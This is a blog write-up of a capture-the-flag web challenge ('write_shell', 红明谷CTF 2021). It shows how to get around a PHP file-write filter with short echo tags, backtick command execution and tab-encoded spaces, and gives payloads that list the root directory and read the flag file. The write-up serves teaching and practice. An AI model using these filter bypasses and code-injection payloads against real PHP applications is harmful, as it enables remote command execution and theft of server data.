Loading

[BUUCTF题解][红明谷CTF 2021]write_shell

### 知识点

  • PHP特性
  • Linux命令

过程

打开题目就能看到源码,也没必要去搜集了,简单审查下可以发现提供了一个简单的写入php文件的功能,但是对内容进行了过滤。

image-20220403170430062

php标签的php被过滤,可以换用短标签<?= code?>,至于;被过滤并不用单行,因为?>对于一组PHP代码中最后一句起到替代;的作用,所以我们可以构造如下payload:

?action=upload&data=<?=`ls`?>

再获取下写入文件的路径以便访问。

image-20220403170806730

访问路径可以发现写入的内容被成功执行了。

image-20220403170842497

接下来列下根目录,至于空格被过滤有很多方法,这里采用%09来替代(制表符\t的URL编码)。

?action=upload&data=<?=`ls%09/`?>

image-20220403171137126

发现了flag文件,读取后获得flag。

?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

image-20220403171213995

posted @ 2022-04-03 17:14  Article_kelp  阅读(436)  评论(0)    收藏  举报